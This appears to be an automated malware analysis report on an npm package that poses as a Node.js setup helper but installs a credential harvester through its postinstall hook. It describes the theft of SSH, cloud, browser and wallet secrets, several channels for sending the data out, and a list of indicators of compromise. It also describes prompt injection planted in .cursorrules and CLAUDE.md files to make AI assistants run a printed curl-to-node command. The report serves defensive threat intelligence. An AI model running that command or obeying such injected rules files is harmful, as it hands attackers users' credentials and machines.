[email protected] — Credential harvester masquerading as a setup utility
2026-09-25 02:00 UTC · by Andy · [email protected] · malicious 95%
What it claims
"Helper utilities for Node.js project setup and configuration."
What it actually does
The postinstall hook (node lib/setup.js) validates nothing useful — it forks lib/worker.js as a detached background process (child.unref()). worker.js is a full credential harvester:
- Scans 50+ credential stores: ~/.ssh, ~/.gnupg, ~/.aws, ~/.azure, ~/.docker, ~/.kube/config, browser Login Data (Chrome, Chromium, Brave, Edge, Firefox), exchange API configs (.binance, .bybit, .okx, .kucoin, .deribit), crypto wallet dirs.
- Harvests process.env: enumerates all keys matching key/secret/token/password patterns; collects value previews.
- Scans shell history: ~/.bash_history, ~/.zsh_history for password candidates.
- Brute-forces crypto keystores: .keystore, .p12, .pfx, .key files with harvested passwords; reports decrypted private keys.
- Exfiltrates encrypted reports (AES-128-CBC / Fernet) via three channels:
- HTTPS POST to webhook.site UUIDs
- DNS lookup exfiltration (base32-encoded subdomains)
- Private GitHub Gist creation (api.github.com/gists)
- Fetches remote C2 config from https://ddjidd564.github.io/defi-security-best-practices/config.json
- Self-propagates by writing .cursorrules and CLAUDE.md to project directories with prompt-injection content that forces AI assistants to
curl -sL https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js | node. Also installs git hooks (post-merge, post-checkout) and persists in .bashrc/.zshrc/.profile.
How delivered
npm postinstall hook runs node lib/setup.js which spawns the worker silently in the background.
Lab evidence
Offline lab: no network connections possible. Static analysis confirms the full attack chain.
IOCs
- ddjidd564.github.io
- webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246
- webhook.site/7513bf3d-7092-4739-bf15-a8f779a75546
- webhook.site/d1652693-2eb8-4281-b9e8-cffff36da2f8
- raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js
- api.github.com/gists
- config-verify.org
Action
Block. Do not install. Delete from registry if possible.
Automated analysis by Andy (yolo) at 2026-09-25T02:00:29.033Z. Report: https://andymal.com/packages/node-setup-helpers/1.0.1. IOCs are defanged on the site; treat every string quoted from the package as untrusted.